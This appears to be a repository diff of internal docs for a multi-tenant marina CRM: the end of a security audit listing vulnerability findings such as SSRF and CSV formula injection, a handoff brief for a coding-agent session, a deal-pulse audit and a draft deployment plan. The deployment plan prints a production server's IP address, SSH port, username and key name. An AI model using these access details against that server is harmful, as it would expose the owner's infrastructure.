`portId` is taken from `batch.portId` and trusted. Correct today because every service call stamps `portId` from `ctx` and there is no API layer enqueuing the engine — but when the commit/dry-run route lands it MUST re-derive `portId` from the session and assert `batch.portId === session.portId`, and gate on an `import` permission (none is checked anywhere in the engine path today). Flagged for the route author.
|
||||
**Confidence: 0.75**
|
||||
|
||||
---
|
||||
|
||||
## 3. Unified Lane Coverage Table
|
||||
|
||||
All 17 lanes, with the pass where each completed and its finding counts (C/H/M/L) as mapped into the unified numbering.
|
||||
|
||||
| # | Lane | Completed in | Status | Findings (C/H/M/L) | Top risk (unified ref) |
|
||||
| --- | ------------------------------------------- | --------------------------- | --------- | ------------------- | ----------------------------------------------------------------------- |
|
||||
| 1 | Financial money-math | Pass 1+2 | Complete | 1/1/1/2 | C1 cross-currency deposit gate auto-marks berths Sold |
|
||||
| 2 | Sales pipeline state machine | Pass 3 | Complete | (→C2) /3/3/2 | C2 lost/cancelled deal auto-flips berth to Sold |
|
||||
| 3 | Cross-entity ownership / schema drift | Pass 1+2 | Complete | 0/1/1/2 | H5 archive/restore falsifies ownership-history ledger |
|
||||
| 4 | Background worker tenant isolation | Pass 3 | Complete | 0/1/2/3 | H11 attacker-controlled `coverBrandPortId` brand-kit leak |
|
||||
| 5 | Socket.IO realtime authorization | Pass 3 | Complete | 0/0/2/3 | M10 deactivated users keep receiving all port broadcasts |
|
||||
| 6 | AI subsystem spend cap + prompt injection | Pass 3 | Complete | (→C2 shared) /1/0/2 | H9 email-draft spends OpenAI tokens, no rate limit/budget |
|
||||
| 7 | Destructive client lifecycle + GDPR cascade | Pass 3 | Complete | 0/2/2/2 | H2/H3 merge skips payments/ownership → cascade-delete loss |
|
||||
| 8 | Storage proxy, presign & file validation | Pass 3 (pass-1 M24 partial) | Complete | 0/0/4/2 | M18 single-use token bricks emailed URLs on transient fail |
|
||||
| 9 | CSV/bulk import engine | Pass 1+2 | Complete | 0/1/3/3 | H10 CSV formula injection in expense + audit exports |
|
||||
| 10 | Email engine internals | Pass 3 | Complete | 0/0/1/3 | M8 bounce poller port-blind → cross-tenant misattribution |
|
||||
| 11 | Outbound webhook SSRF + delivery integrity | Pass 1+2 | Complete | 0/1/3/2 | H1 fetch follows redirects, defeating SSRF allowlist |
|
||||
| 12 | Report/PDF correctness + per-port filtering | Pass 3 | Complete | 0/1/4/2 | H6 title-case berth status → 0 sold / understated occupancy |
|
||||
| 13 | Residential + tenancies logic | Pass 1+2 | Complete | 1/2/3/2 | C3 residential module-disabled never enforced on v1 API |
|
||||
| 14 | Berth rules / recommender / public status | Pass 3 | Complete | (→C2 shared) /0/2/1 | C2 lost/cancelled deals auto-flip berths Sold (public site) |
|
||||
| 15 | Permissions model + rate-limit coverage | Pass 3 | Complete | 0/2/3/2 | H8 `residentialAccess` toggle bypasses caller-superset |
|
||||
| 16 | React components/hooks + UI/UX | Pass 3 | Complete | 0/3/4/2 | H7 residential notes fully broken (wrong NotesList API URL) |
|
||||
| 17 | Documenso e-sign integration | Pass 3 | Complete | 0/0/1/2 | L11 v2 null `numericId` → dropped completion webhooks `[needs-confirm]` |
|
||||
| — | Pass-1 routing/API confirmation set | Pass 1 | Folded in | C4 + M24 + L34 | C4 tracked `/q/` links dead in all outbound mail |
|
||||
|
||||
**Coverage note:** All 17 lanes plus the pass-1 routing/API set are now covered — the 11 lanes rate-limited in pass 1+2 were successfully re-run in pass 3. Lane-level C/H/M/L counts above are indicative (they reflect each lane's pre-merge contribution; the cross-pass and within-pass merges mean the unified totals are not a simple column sum). Parenthetical `(→Cn)` marks a lane whose top finding was merged with another lane's.
|
||||
|
||||
---
|
||||
|
||||
## 4. Cross-Pass Dedupe Notes
|
||||
|
||||
Every merge made while consolidating the two passes:
|
||||
|
||||
1. **CROSS-PASS (required) — Cross-currency deposit gate.** Pass 1+2 **C1** (cross-currency deposit gate auto-marks berths Sold) and pass 3 **H3** (deposit auto-advance is currency-blind) are the **same bug** (`payments.service.ts` deposit-met gate summing across currencies and comparing against a single-currency expectation). Merged into unified **C1 (CRITICAL)**, combining detail from both (the FX-summation mechanics from pass 1+2, the schema column refs `interests.ts:64-65` and the auto-advance/`deposit_received`-rule chain from both). Counted once.
|
||||
|
||||
2. **Within pass 3 — Lost/cancelled → Sold.** Pass 3 **C1** was itself a merge of the Sales-pipeline lane and the Berth-subsystem lane (same `setInterestOutcome` → `interest_completed` → `sold` root cause). Preserved as unified **C2 (CRITICAL)**; no further action — recorded for traceability.
|
||||
|
||||
3. **Within pass 3 — AI token spend.** Pass 3 **H12** (AI rate-limit missing, spanning the AI-subsystem and permissions/rate-limit lanes) and pass 3 **H13** (AI email-draft budget gate missing) are two facets of the same unprotected token-spend surface on `ai/email-draft`. Merged into unified **H9**, carrying both confidences (0.9 rate-limit / 0.97 budget) and both fixes. Net reduction of one HIGH versus a naive sum.
|
||||
|
||||
4. **Within pass 3 — `coverBrandPortId` brand-kit leak.** Pass 3 **H6** was already a merge (worker-isolation lane HIGH + report-correctness lane LOW), kept at HIGH. Carried to unified **H11** unchanged.
|
||||
|
||||
5. **Within pass 3 — Bounce poller port-blindness.** Pass 3 **M8** was already a merge (worker-isolation lane + email-engine lane). Carried to unified **M8** unchanged.
|
||||
|
||||
6. **Within-pass bundles preserved (not re-split):** pass 3 **L18** (3 decorative-emoji sites), **L16** (3 email/bounce nits), **L17** (3 storage nits), **L20** (3 socket defense-in-depth nits); pass 1+2 **L9/L10/L32/L33** (paired tenancy and import items). These remain bundled exactly as the source docs intended (each is one rule/theme with sub-items), now at L18/L16/L17/L20 and L32/L33 respectively.
|
||||
|
||||
7. **Severity reconciliations carried over (no merge, recorded):** pass 3 demoted L3 (recommender stage-scale) HIGH→LOW `[needs-confirm]` and L11 (Documenso null `numericId`) HIGH→LOW `[needs-confirm]`; both retained at LOW in the unified doc. `[needs-confirm]` tags preserved on unified **L3, L6, L11, L21, L35**.
|
||||
|
||||
8. **No other cross-pass duplicates found.** Notably distinct (checked, NOT merged): unified **C1** (deposit currency math) vs **C2** (outcome-blind rule) — both touch the berth-rules engine but have different root causes; pass-1+2 **H3 refund-sign** (unified **H12**) vs pass-3 currency bug (unified **C1**) — different defects in the same service file; unified **L24** (deposit refund lower-bound re-lock) is a distinct idempotency concern adjacent to C1, kept separate as the source docs did.
|
||||
|
||||
---
|
||||
|
||||
### Final tally — distinct findings in this unified report
|
||||
|
||||
| Severity | Distinct count |
|
||||
| --------- | ------------------------------ |
|
||||
| CRITICAL | 4 |
|
||||
| HIGH | 17 |
|
||||
| MEDIUM | 29 |
|
||||
| LOW | 35 (incl. 5 `[needs-confirm]`) |
|
||||
| **Total** | **85** |
|
||||
|
||||
_Derivation: union of the actual numbered entries — pass 1+2 (32: C3/H6/M11/L12) + pass 3 (55: C1/H13/M18/L23) = 87 — minus the cross-pass deposit-currency duplicate (pass1+2 C1 ≡ pass3 H3) and the within-pass-3 AI rate-limit + budget merge (pass3 H12 + H13) = **85 distinct findings**. Both removed entries were in the HIGH tier of their source; the merged deposit-currency finding is retained at CRITICAL (C1)._
|
||||
|
||||
---
|
||||
|
||||
## Remediation status — COMPLETE (2026-06-02)
|
||||
|
||||
All 85 findings addressed across 28 `fix(audit)` commits on
|
||||
`feat/residential-toggle-and-reports-comparison`. Every commit is
|
||||
tsc-clean through the pre-commit hook; **1103/1103 unit tests pass** and
|
||||
the full suite was re-run green after each tier.
|
||||
|
||||
- **CRITICAL (4):** all fixed (C1 currency-deposit gate, C2 outcome→berth,
|
||||
C3 residential API gate, C4 `/q/` allowlist).
|
||||
- **HIGH (17):** all fixed.
|
||||
- **MEDIUM (29):** all fixed.
|
||||
- **LOW (35):** 34 fixed; **L21** verified a FALSE POSITIVE (the sliding
|
||||
window admits exactly `max`, not `max+1`) — no change needed.
|
||||
|
||||
`[needs-confirm]` resolutions: L3 (recommender stage-scale) = REAL, fixed.
|
||||
L11 (Documenso v2 numericId) = REAL, fixed with GET fallback. L6 (scheduler
|
||||
multi-replica) = fixed with atomic claim. L21 = false positive. L35 (import
|
||||
port-auth) = latent, documented for the future commit route.
|
||||
|
||||
### Deferred (code shipped; DB-schema migration outstanding)
|
||||
|
||||
Two findings have their application-code fix shipped but a DB-schema change
|
||||
intentionally deferred (each needs a generated migration applied via psql +
|
||||
a `next dev` restart, which requires the live DB):
|
||||
|
||||
- **M25** — `client_contacts` per-port partial-unique index on
|
||||
`lower(value) WHERE channel='email'` (+ a `port_id` column/backfill/stamp
|
||||
trigger). The in-file dedup (preview accuracy) shipped.
|
||||
- **M23** — tightening invoice `numeric` columns to `numeric(12,2)`. The
|
||||
money-rounding + `0%`-discount code fix shipped.
|
||||
|
||||
### Stale-doc follow-ups noted by fix agents (not code bugs)
|
||||
|
||||
- CLAUDE.md references `src/middleware.ts` (renamed to `src/proxy.ts` in
|
||||
Next 16) and still says "companyNotes lacks updatedAt" (now has one).
|
||||
- `src/lib/db/schema/clients.ts:55` comment references an "unmerge flow"
|
||||
that does not exist (M6 corrected the service docstrings).
|
||||
@@ -1,147 +0,0 @@
|
||||
# Handoff prompt for new Claude Code session
|
||||
|
||||
Copy everything below the `---` line into the new chat as your first message.
|
||||
|
||||
---
|
||||
|
||||
I'm continuing work on a comprehensive multi-feature push that was fully designed in a prior session but not yet implemented. The complete plan lives at `docs/berth-recommender-and-pdf-plan.md` (~1030 lines). **Read that file end-to-end before doing anything else — every design decision, schema change, edge case, and confirmed answer to a product question is captured there.** Don't re-litigate decisions; if something seems unclear, the answer is almost certainly in the plan.
|
||||
|
||||
## What the project is
|
||||
|
||||
A multi-tenant marina/port-management CRM at `/Users/matt/Repos/new-pn-crm`. Next.js 15 App Router, React 19, TypeScript strict, Drizzle ORM on Postgres, MinIO for files, BullMQ on Redis, better-auth, shadcn/ui, Tailwind. See `CLAUDE.md` for the conventions.
|
||||
|
||||
## What we're building (high level)
|
||||
|
||||
The plan bundles 8 capabilities into one branch (`feat/berth-recommender`):
|
||||
|
||||
1. **/clients + /interests list-column fix** (the original bug — list views show `-` everywhere because the service didn't join contacts/yachts)
|
||||
2. **Full NocoDB Berths import** + seeding + mooring-number normalization (current CRM has `A-01..E-18`; canonical is `A1..E18`)
|
||||
3. **Schema refactor** to many-to-many `interest_berths` with role flags (`is_primary`, `is_specific_interest`, `is_in_eoi_bundle`)
|
||||
4. **Berth recommender** (SQL ranking, tier ladder, heat scoring, UI panel) — no AI; pure SQL
|
||||
5. **EOI bundle** support (multi-berth EOIs + range formatter for the Documenso PDF: `["A1","A2","A3","B5","B6"]` → `"A1-A3, B5-B6"`)
|
||||
6. **Pluggable storage backend** (s3-compatible OR local filesystem) so admins can run without MinIO if they want
|
||||
7. **Per-berth PDFs** (versioned uploads, OCR-based reverse parser, conflict-resolution diff dialog)
|
||||
8. **Sales send-out emails** (berth PDF + brochure) with full audit + size-aware fallback to download links
|
||||
|
||||
## Phase ordering (from plan §2)
|
||||
|
||||
```
|
||||
Phase 0: Full NocoDB berth import + mooring normalization + 5 new pricing columns
|
||||
Phase 1: /clients + /interests list column fix
|
||||
Phase 2: M:M interest_berths schema refactor + desired dimensions on interests
|
||||
Phase 3: CRM /api/public/berths endpoint + website cutover
|
||||
Phase 4: Recommender SQL + tier ladder + heat + UI panel
|
||||
Phase 5: EOI bundle + range formatter
|
||||
Phase 6a: Pluggable storage backend + migration CLI + admin UI
|
||||
Phase 6b: Per-berth PDF storage (versioned) + reverse parser
|
||||
Phase 7: Sales send-outs + brochure admin + email-from settings
|
||||
Phase 8: CLAUDE.md updates + final validation
|
||||
```
|
||||
|
||||
**Start with Phase 0**.
|
||||
|
||||
## Working tree state at handoff
|
||||
|
||||
- Branch: `main` (you'll create `feat/berth-recommender` from here)
|
||||
- Recent commits (already pushed):
|
||||
- `8699f81 chore(style): codebase em-dash sweep + minor layout polish`
|
||||
- `d62822c fix(migration): NocoDB import safety + dedup helpers + lead-source backfill`
|
||||
- `089f4a6 feat(receipts): upload guide page + scanner head-tag fix`
|
||||
- `77ad10c feat(dashboard): custom date range + KPI port-hydration gate`
|
||||
- `e598cc0 feat(layout): unified Inbox + UserMenu extraction`
|
||||
- `f5772ce feat(analytics): Umami integration with per-port admin settings`
|
||||
- `49d34e0 feat(website-intake): dual-write endpoint + migration chain repair`
|
||||
- Untracked / uncommitted at handoff:
|
||||
- `docs/berth-recommender-and-pdf-plan.md` (the plan — read this first)
|
||||
- `docs/berth-feature-handoff-prompt.md` (this file)
|
||||
- `berth_pdf_example/` (two reference files — see below)
|
||||
- `.env.example` (modified — adds `WEBSITE_INTAKE_SECRET=`; pre-commit hook blocks `.env*` files so user adds this manually)
|
||||
- Dev DB state:
|
||||
- 245 clients (210 with no `nationality_iso` — Phase 1 backfills from primary phone's `value_country`)
|
||||
- 4 test rows in `website_submissions` (from a previous live audit; safe to ignore)
|
||||
- 90 berths with `mooring_number` in `A-01` format (Phase 0 normalizes to `A1`)
|
||||
- vitest: 956 tests passing
|
||||
- tsc: clean (one pre-existing issue in `scripts/smoke-test-redirect.ts` that's unrelated)
|
||||
|
||||
## Reference files
|
||||
|
||||
- `berth_pdf_example/Berth_Spec_Sheet_A1.pdf` (358 KB) — sample per-berth PDF. **0 AcroForm fields** (confirmed via pdf-lib) so OCR with positional heuristics is the primary parser tier; the AcroForm tier is built defensively. Plan §9.2 captures the layout structure.
|
||||
- `berth_pdf_example/Port-Nimara-Brochure-March-2025_5nT92g.pdf` (10.26 MB) — sample brochure. Sized so it ships as an attachment under the 15 MB threshold. Plan §11.1 covers brochure handling.
|
||||
|
||||
## NocoDB access
|
||||
|
||||
You have `mcp__NocoDB_Base_-_Port_Nimara__*` tools available. Tables you'll touch most:
|
||||
|
||||
- `mczgos9hr3oa9qc` — Berths (Phase 0 imports from here; mooring numbers are stored as `A1..E18`)
|
||||
- `mbs9hjauug4eseo` — Interests (the combined client+deal table the old system used)
|
||||
|
||||
## Branch & commit conventions
|
||||
|
||||
- Create the branch: `git checkout -b feat/berth-recommender`
|
||||
- Commit messages match recent history style: `<type>(<scope>): <subject>` lowercase, terse subject, body explains why not what.
|
||||
- **Pre-commit hook blocks any `.env*` file** including `.env.example`. If you need to update `.env.example`, leave it staged and tell the user to commit manually with `--no-verify` (they're aware of this).
|
||||
- **Don't push without explicit user permission.** Commits are fine; pushes need approval.
|
||||
- **Don't run `git rebase`, `git push --force`, or anything destructive without checking.** The branch is solo-owned but the repo's `main` is shared.
|
||||
|
||||
## User communication preferences (from prior session)
|
||||
|
||||
- Direct, no fluff. If something is a bad idea, say so — don't sycophant.
|
||||
- When proposing changes, include trade-offs explicitly.
|
||||
- For multi-question decisions, use `AskUserQuestion` rather than long bulleted lists.
|
||||
- Run validation (vitest + tsc) at logical checkpoints. Don't ship a commit with regressions.
|
||||
- The user prefers small focused commits over mega-commits. Within Phase 0 alone there will probably be 2-3 commits (e.g. mooring normalization, schema additions, NocoDB import script).
|
||||
|
||||
## Critical rules (from plan §14)
|
||||
|
||||
Eleven 🔴 critical items requiring tests before their phase ships:
|
||||
|
||||
1. NocoDB mooring collisions → unique constraint + ON CONFLICT
|
||||
2. Non-PDF disguised upload → magic-byte check
|
||||
3. Recipient email typos → pre-send confirmation
|
||||
4. XSS in email body markdown → DOMPurify + payload tests
|
||||
5. SMTP credentials silently failing → loud error + failed `document_sends` row
|
||||
6. Wrong-environment `CRM_PUBLIC_URL` → health-check env match
|
||||
7. Mooring format drift breaking `/berths/A1` URLs → Phase 0 normalization gates Phase 3
|
||||
8. Multi-port isolation in recommender → explicit `port_id` filter + cross-port test
|
||||
9. Permission escalation on SMTP creds → per-port admin only, no rep visibility
|
||||
10. Filesystem backend in multi-node deployment → refuse to start; documented + health-check enforced
|
||||
11. Path traversal via storage key in filesystem mode → strict regex validation + path realpath check
|
||||
|
||||
## Pending items (from plan §9)
|
||||
|
||||
These are non-blocking but worth knowing:
|
||||
|
||||
- Sample brochure already provided (the 10.26 MB file above).
|
||||
- SMTP app password for `sales@portnimara.com` — not yet obtained; expected close to production cutover. Phase 7 ships the admin UI immediately and the credential gets entered when available.
|
||||
- `CRM_PUBLIC_URL` confirmed as `https://crm.portnimara.com` once live; configurable via env.
|
||||
- GDPR cascade behavior for `document_sends` (delete vs. anonymize-PII vs. keep) — left `OPEN` in §14.10, default lean: anonymize-PII. Revisit when Phase 7 schema lands.
|
||||
|
||||
## Scope reminder
|
||||
|
||||
- **No prod data depends on the current CRM schema** — refactors don't need backwards-compatibility shims. But every schema change still ships as a Drizzle migration with `pnpm db:generate`.
|
||||
- **Pluggable storage** rejects Postgres `bytea` as an option (§4.7a). The two backends are s3-compatible (MinIO/AWS/B2/R2/etc.) and local filesystem. Filesystem is single-node only.
|
||||
|
||||
## What to do first
|
||||
|
||||
1. Read `docs/berth-recommender-and-pdf-plan.md` end-to-end. Don't skim. The edge-case audit in §14 alone is critical context.
|
||||
2. Confirm you've understood the plan by stating back the 8-phase outline and the 11 critical items, then ask the user if they want to proceed with Phase 0.
|
||||
3. Once approved, create `feat/berth-recommender` and start Phase 0.
|
||||
|
||||
Phase 0 deliverables (per plan):
|
||||
|
||||
- One commit normalizing existing CRM mooring numbers from `A-01` → `A1` form (via `regexp_replace` migration). Delete the offending `scripts/load-berths-to-port-nimara.ts`.
|
||||
- One commit adding the 5 new berth columns (`weekly_rate_high_usd`, `weekly_rate_low_usd`, `daily_rate_high_usd`, `daily_rate_low_usd`, `pricing_valid_until`, `last_imported_at`). Run `pnpm db:generate`. Verify `meta/_journal.json` prevId chain stays contiguous.
|
||||
- One commit adding `scripts/import-berths-from-nocodb.ts` — the idempotent NocoDB import (handles updates, preserves CRM-side edits via `last_imported_at vs updated_at` check, `pg_advisory_lock`, dry-run flag, etc. per §4.1 and §14.1).
|
||||
- Update `src/lib/db/seed-data.ts` with the imported berth set so fresh installs get them.
|
||||
- Final vitest + tsc validation at the end of Phase 0.
|
||||
|
||||
## Don't
|
||||
|
||||
- Don't push to remote during this session (user will batch the push later).
|
||||
- Don't commit `.env*` files (hook blocks them anyway).
|
||||
- Don't edit `.gitignore` to exclude generated artifacts; the repo's existing ignores are correct.
|
||||
- Don't add documentation files unless the plan asks for them — the plan itself is the doc.
|
||||
- Don't add features not in the plan. If something seems missing, ask.
|
||||
- Don't use AI for the recommender (plan §1 + §13). Pure SQL ranking.
|
||||
|
||||
Once you've read the plan and confirmed understanding, ask me whether to proceed with Phase 0.
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,134 +0,0 @@
|
||||
# Deal Pulse & Pipeline Trigger Audit — 2026-05-18
|
||||
|
||||
Per MANUAL-TESTING-BACKLOG-2026-05-15 §4.15: map every place that
|
||||
moves an interest's pipeline stage OR contributes to the deal-pulse
|
||||
score, and call out the gaps.
|
||||
|
||||
---
|
||||
|
||||
## 1. Pipeline-stage auto-advance — call-site map
|
||||
|
||||
`advanceStageIfBehind(interestId, portId, target, meta, reason?)` is
|
||||
the canonical "advance if not already past target" helper. The
|
||||
`*Gated` variant honours the per-port `stage_advance_rules` setting
|
||||
(auto / suggest / off).
|
||||
|
||||
| Trigger | Caller | Target | File:line | Gated? |
|
||||
| ------------------------------------ | ----------------------------- | --------------------------------------------------------- | --------------------------------------- | -------------------------------- |
|
||||
| EOI sent (manual rep generate) | `generateAndSign` | `eoi` | `documents.service.ts:843` | gated (eoi_sent) |
|
||||
| EOI signed (all parties via webhook) | `handleDocumentCompleted` | `reservation` | `documents.service.ts:1610` | gated (eoi_signed) |
|
||||
| Reservation signed | `handleDocumentCompleted` | `reservation` (no change, stage stays + status sub-flips) | `documents.service.ts:1640` | gated (reservation_signed) |
|
||||
| Deposit received in full | `recordPayment` | `deposit_paid` | `payments.service.ts:134` | gated (deposit_received) |
|
||||
| Sales contract signed | `handleDocumentCompleted` | `contract` | `documents.service.ts:1671` | gated (contract_signed) |
|
||||
| Deposit invoice paid (alt path) | `markInvoicePaid` | `deposit_paid` | `invoices.ts:684` | gated (deposit_received) |
|
||||
| Custom document upload | `confirmCustomDocumentUpload` | document-type-specific (eoi/reservation/contract) | `custom-document-upload.service.ts:354` | **NOT gated** (uses base helper) |
|
||||
| External-eoi mark-as-signed | inline in handler | `reservation` | `documents.service.ts:859` | **NOT gated** |
|
||||
| Externally-signed contract | inline in handler | `contract` | `documents.service.ts:971` | **NOT gated** |
|
||||
| Manual stage move | `changeInterestStage` | any (with override) | `interests.service.ts:840` | manual / not gated |
|
||||
|
||||
### Gaps flagged
|
||||
|
||||
- **External-signed paths bypass the per-port rules.** A port set to
|
||||
`suggest` for `eoi_signed` still gets an auto-advance when the rep
|
||||
marks the doc externally signed. Decision needed: should the rules
|
||||
table also gate the external-signed paths? Argument for yes: the
|
||||
rep's intent ("I just want to mark this signed") is the same as
|
||||
the webhook case. Argument for no: the rep is explicitly choosing
|
||||
to bypass the digital flow, so an auto-advance is what they expect.
|
||||
- **Custom document upload is not gated.** Same trade-off as above.
|
||||
- **No stage rollback on rejection.** When a signer declines an EOI
|
||||
(`handleDocumentRejected`), the doc flips to `rejected` but the
|
||||
interest stays at `eoi`. Confirm: this is correct — the deal
|
||||
isn't dead, the EOI is. Rep should regenerate. **Verdict: keep
|
||||
as-is.**
|
||||
- **No stage rollback on cancel.** When the rep cancels an in-flight
|
||||
EOI, the doc flips to `cancelled` and the interest stays at `eoi`.
|
||||
Decision needed: should the interest roll back to `qualified`
|
||||
when the only EOI is cancelled with no replacement?
|
||||
**Recommendation: NO** — keeps history honest; a cancel is the
|
||||
rep's deliberate signal that they're regenerating, not retreating.
|
||||
|
||||
---
|
||||
|
||||
## 2. Deal-pulse signals — `computeDealHealth` map
|
||||
|
||||
Source: `src/lib/services/deal-health.ts`. Each `signals.push` site
|
||||
documented with its trigger condition + score delta:
|
||||
|
||||
| Signal | Delta | Condition | File:line |
|
||||
| ------------------- | -------------------- | --------------------------------------------------- | ------------------ |
|
||||
| `active_engagement` | +5 | Any contact-log entries in last 7 days | deal-health.ts:101 |
|
||||
| `contact_recent` | +20 | `dateLastContact <= 7 days` ago | deal-health.ts:115 |
|
||||
| `contact_warm` | +10 | `dateLastContact <= 14 days` (else of above) | deal-health.ts:122 |
|
||||
| `contact_stale` | -15 | `dateLastContact >= 30 days` | deal-health.ts:129 |
|
||||
| `stage_progress` | +10/+20/+30 (capped) | Per pipelineStage index | deal-health.ts:142 |
|
||||
| `stuck_top_funnel` | -10 | `firstDays >= 30` AND stage in {enquiry, qualified} | deal-health.ts:157 |
|
||||
| `eoi_awaiting` | -10 | `eoiSentDays >= 14` AND not signed | deal-health.ts:173 |
|
||||
| `deposit_pending` | -10 | reservation signed >= 21d AND no deposit | deal-health.ts:184 |
|
||||
| `contract_awaiting` | -10 | contract sent >= 14d AND not signed | deal-health.ts:200 |
|
||||
|
||||
### Positive signals that are MISSING (gaps)
|
||||
|
||||
- **EOI sent** — no `eoi_sent_recent` signal. Sending an EOI is the
|
||||
single biggest "this deal just got serious" moment but the score
|
||||
doesn't move when it happens. **Recommendation: +15 at < 7 days.**
|
||||
- **Deposit received** — same gap. A deposit landing should bump the
|
||||
score significantly. **Recommendation: +20, decays over 30 days.**
|
||||
- **Contract signed** — terminal positive event; should ladder the
|
||||
deal to its max. **Recommendation: +30 at < 14 days.**
|
||||
|
||||
### Negative signals that are MISSING (gaps)
|
||||
|
||||
- **Signer declined / EOI rejected** — when the §4.13 rejection path
|
||||
fires, the score should drop noticeably (the deal is suddenly at
|
||||
risk). **Recommendation: -25, decays over 14 days.**
|
||||
- **Interest archived-and-unarchived cycle** — zombie deals that
|
||||
bounce in and out should be flagged. Detect via the audit-log
|
||||
archive/restore pattern. **Recommendation: -10 if archived+restored
|
||||
within last 30 days.**
|
||||
- **Reservation cancelled** — similar to EOI rejected; signals the
|
||||
deal is at risk. **Recommendation: -20.**
|
||||
- **Berth status flipped to sold-to-other** — the deal's primary
|
||||
berth was sold to a different interest. **Recommendation: -30
|
||||
(catastrophic).**
|
||||
- **Signer engagement** — Documenso fires `RECIPIENT_VIEWED`
|
||||
webhooks (we store `openedAt`). A signer who opened but didn't
|
||||
sign in 7+ days = stalling. **Recommendation: -5 per stalling
|
||||
signer.**
|
||||
|
||||
### Cadence escalation (currently flat)
|
||||
|
||||
- `eoi_awaiting` and `contract_awaiting` both apply a flat -10 at
|
||||
the 14-day threshold. **Recommendation: ladder to -20 at 21d, -30
|
||||
at 30d** so prolonged stalling shows up more visibly.
|
||||
|
||||
---
|
||||
|
||||
## 3. Heat tooltip explainer copy
|
||||
|
||||
The DealPulseChip popover (`src/components/interests/deal-pulse-chip.tsx`)
|
||||
references signals by name. With the gaps above closed, the
|
||||
tooltip's enumerated list needs the new signals added so the in-app
|
||||
copy matches the computation.
|
||||
|
||||
The new `/docs/deal-pulse` explainer page (shipped this wave, §7.1)
|
||||
should also be kept in sync with the signal set.
|
||||
|
||||
---
|
||||
|
||||
## 4. Suggested fix wave (decisions needed from Matt)
|
||||
|
||||
Per the doc structure, these are the punch-list items in priority order:
|
||||
|
||||
1. **Ship the positive signals (eoi_sent, deposit_received, contract_signed).**
|
||||
Biggest visible win. ~1.5h.
|
||||
2. **Ship the rejection / risk signals (eoi_rejected, reservation_cancelled, berth_sold_to_other).**
|
||||
Pairs naturally with the §4.13 rejection cascade we shipped this
|
||||
wave. ~2h.
|
||||
3. **Ship the cadence escalation (eoi_awaiting / contract_awaiting laddered scoring).**
|
||||
~30 min.
|
||||
4. **Decide on the external-signed-paths gating question.**
|
||||
5. **Decide on the cancel-stage-rollback question.**
|
||||
|
||||
Each is small individually; combined the deal-pulse model gets meaningfully
|
||||
more accurate. Suggest bundling 1–3 into one PR for review economy.
|
||||
@@ -1,238 +0,0 @@
|
||||
# Production Deployment Plan — Port Nimara CRM
|
||||
|
||||
> **Status:** DRAFT · pre-deployment · 2026-05-31
|
||||
> **Target:** `https://crm.portnimara.com` on the PN Cloud server.
|
||||
> **Companion:** `docs/launch-readiness.md` (Initiative 5 — cutover).
|
||||
> Credentials live in `private/deployment-creds.md` (gitignored) — **never
|
||||
> put secrets in this file.**
|
||||
|
||||
## ⛔ Guardrails (non-negotiable)
|
||||
|
||||
1. **No change to anything on the prod server without Matt's explicit
|
||||
per-action approval.** Recon/reads are fine; every `sudo`, every file
|
||||
write, every `docker` mutation, every `certbot` run is approved
|
||||
individually before it runs.
|
||||
2. **Documenso is VITAL.** It has broken on past upgrades. Nothing touches
|
||||
the Documenso DB, volumes, or container until a verified backup +
|
||||
S3↔DB reconciliation exists AND the upgrade step is explicitly approved.
|
||||
3. Work one phase at a time; verify before moving on. Keep a rollback for
|
||||
each mutating step.
|
||||
|
||||
---
|
||||
|
||||
## Access (established 2026-05-31)
|
||||
|
||||
| What | Detail | Verified |
|
||||
| ---------------------- | ---------------------------------------------------------------------------------------- | ------------------------------------ |
|
||||
| **Prod server (SSH)** | `45.142.177.246:22022`, user `stefan`, key `id_ed25519_2026` (macOS keychain) | ✅ connected, key auth |
|
||||
| **Gitea API** | `https://code.letsbe.solutions` as `matt` (admin) — reads build status, warnings, errors | ✅ v1.25.5, repo `letsbe/pn-new-crm` |
|
||||
| **Container registry** | `code.letsbe.solutions/letsbe/pn-new-crm/{crm-app,crm-worker}` | ✅ CI pushes `:latest` + `:<sha>` |
|
||||
|
||||
Notes:
|
||||
|
||||
- `stefan` is **unprivileged** (uid 1000, not in the `docker` group; `sudo`
|
||||
prompts for a password). Every `docker` / `nginx` / `certbot` / cert-read
|
||||
step needs `sudo` (root pass in `private/deployment-creds.md` — **VERIFY**;
|
||||
the per-server creds file had MOPC's pass by mistake).
|
||||
- Reading build logs: `GET /api/v1/repos/letsbe/pn-new-crm/actions/tasks`
|
||||
(run status) + per-job logs; latest `main` build is **success**.
|
||||
|
||||
---
|
||||
|
||||
## How builds reach prod
|
||||
|
||||
`git push origin main` → Gitea Actions `.gitea/workflows/build.yml`:
|
||||
|
||||
1. **lint** job: `pnpm lint` + `pnpm exec tsc --noEmit`.
|
||||
2. **build-and-push** job (main only): builds `Dockerfile` → `crm-app` and
|
||||
`Dockerfile.worker` → `crm-worker`, pushes `:latest` + `:<sha>` to the
|
||||
Gitea registry.
|
||||
|
||||
Prod **pulls** those images — it does not build. So a deploy is:
|
||||
push → wait for green CI → `docker compose pull` + `up -d` on the server.
|
||||
|
||||
---
|
||||
|
||||
## Prod stack (`docker-compose.prod.yml`)
|
||||
|
||||
| Service | Image | Notes |
|
||||
| ------------ | ---------------------------- | --------------------------------------------------------------- |
|
||||
| `postgres` | `postgres:16-alpine` | self-contained, volume `pgdata` |
|
||||
| `redis` | `redis:7-alpine` | self-contained, volume `redisdata` (BullMQ + socket.io adapter) |
|
||||
| `crm-app` | registry `crm-app:latest` | **host `7100` → container `3000`** |
|
||||
| `crm-worker` | registry `crm-worker:latest` | BullMQ worker |
|
||||
|
||||
- **Storage:** no MinIO service in the compose — the CRM uses **external
|
||||
MinIO** via `system_settings.storage_backend` + `getStorageBackend()`.
|
||||
The existing prod MinIO (`:9000`, `s3.conf` / `minio.conf` nginx vhosts)
|
||||
is the backend. Confirm bucket + keys (creds file §3).
|
||||
- **Decision needed:** does the CRM get its **own** Postgres (the compose
|
||||
default, isolated `pgdata`) or reuse an existing prod Postgres instance?
|
||||
Default = the compose's own Postgres (cleanest isolation). Confirm.
|
||||
|
||||
---
|
||||
|
||||
## Phase 1 — `crm.portnimara.com` go-live
|
||||
|
||||
DNS already points `crm.portnimara.com` at the server. No `crm.portnimara`
|
||||
nginx vhost exists yet (fresh setup). Template: `portnimara_dev.conf`
|
||||
(reverse-proxy + Certbot pattern already in use on this box).
|
||||
|
||||
### Pre-flight (no approval needed — prep only)
|
||||
|
||||
- [ ] Assemble the prod `.env` for the CRM. Source of truth: `src/lib/env.ts`
|
||||
